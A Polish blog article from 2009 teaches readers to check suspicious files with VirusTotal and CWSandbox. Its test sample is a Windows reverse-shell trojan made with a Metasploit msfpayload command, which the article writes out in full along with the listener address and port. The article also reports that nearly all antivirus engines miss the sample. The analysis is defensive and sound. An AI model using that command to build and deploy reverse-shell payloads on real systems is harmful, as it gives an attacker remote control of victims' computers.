22 grudnia 2009

Jak sprawdzić, czy dany plik zawiera złośliwy kod?



Czasem zdarza się tak, że chcielibyśmy szybko sprawdzić czy dany plik nie zawiera czasem złośliwego kodu. Może się to przykładowo tyczyć podejrzanego załącznika do wiadomości e-mail, którą właśnie odebraliśmy. To, że nasz program antywirusowy niczego nie wykrył nie daje nam żadnej pewności, że plik jest w pełni bezpieczny. Może się przecież zdarzyć, że nasz program antywirusowy nie jest aktualny lub po prostu nie rozpoznaje akurat danego typu zagrożenia. Wszak na rynku istnieje co najmniej kilkadziesiąt różnych popularnych antywirusów, a każdy z nich dysponuje nieco innymi możliwościami.

Do zaprezentowania proponowanego przeze mnie sposobu postępowania w takich sytuacjach, posłużę się specjalnie do tego celu przygotowanym plikiem testowym. Plik utworzę w środowisku systemu BackTrack Linux LiveCD za pomocą następującego polecenia:

  • ./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=31337 X > /tmp/test.exe

Powyższe polecenie, korzystając z modułu msfpayload będącego częścią pakietu Metasploit Framework, tworzy plik zawierający kod pozwalający w sprzyjających warunkach na przejęcie sterowania komputerem na którym zostanie on uruchomiony (czyli plik ten zawiera pewnego rodzaju konia trojańskiego). Osoby nieobeznane ze środowiskiem Metasploit nie muszą się zajmować jego poznawaniem, nasz spakowany testowy plik można pobrać tutaj.

Plik test.exe nie wzbudził żadnych wątpliwości programu antywirusowego ESET NOD32, który to pracuje na moim komputerze. My jednak wiemy przecież, że zawiera swego rodzaju złośliwy kod. Jak więc w prosty sposób poddać dalszej analizie tego rodzaju podejrzane pliki? Wykorzystamy w tym celu udostępnioną przez VirusTotal usługę online. Wystarczy tylko załadować nasz plik testowy poprzez formularz dostępny pod adresem http://www.virustotal.com/pl/. Po chwili plik zostanie przeskanowany przez kilkadziesiąt popularnych silników antywirusowych, a wyniki zostaną zaprezentowane w postaci czytelnej tabeli (zrzut ekranu poniżej). Nasz plik został oznaczony jako złośliwe oprogramowanie przez zaledwie 1 (AVG) z 41 silników antywirusowych dostępnych w ramach VirusTotal! Widać więc wyraźnie, że w razie wątpliwości warto skorzystać z takiej usługi, gdyż skorzystanie z tak wielu wiodących silników antywirusowych jednocześnie daje nam dużo większą szansę na odkrycie wszelkiego rodzaju zagrożeń.



Jeśli wykryjemy już tego rodzaju nietypowe zagrożenie (nietypowe, skoro pozostałe 40 silników antywirusowych nie zauważyło niczego podejrzanego) warto taki plik poddać dalszej analizie za pomocą kolejnej usługi dostępnej online. Usługa CWSandbox pozwoli nam już nie tyle na wykrycie zagrożenia, co na przeanalizowanie rzeczywistej zawartości pliku. Wystarczy tylko za pomocą formularza przekazać nasz plik testowy i zaczekać chwilę na wyniki. W wyniku otrzymamy szereg szczegółowych informacji na temat naszego pliku. W przypadku pliku test.exe najciekawsze informacje zawiera zakładka Network Activity (zrzut ekranu poniżej). Otóż wynika z niej, że plik zawiera funkcję nawiązywania połączenia z adresem 192.168.1.100 na porcie TCP port 31337. Udało się więc nam w końcu wykryć zawartą w pliku funkcję konia trojańskiego!



Tego rodzaju analiza za pomocą usług dostępnych online może być przeprowadzana praktycznie przez każdego i nie wymaga praktycznie żadnej zaawansowanej wiedzy. Warto więc czasem w podobny sposób przyjrzeć się podejrzanym plikom, zanim uruchomimy je we własnym systemie!

Artykuł autorski HCSL - Wojciech Smol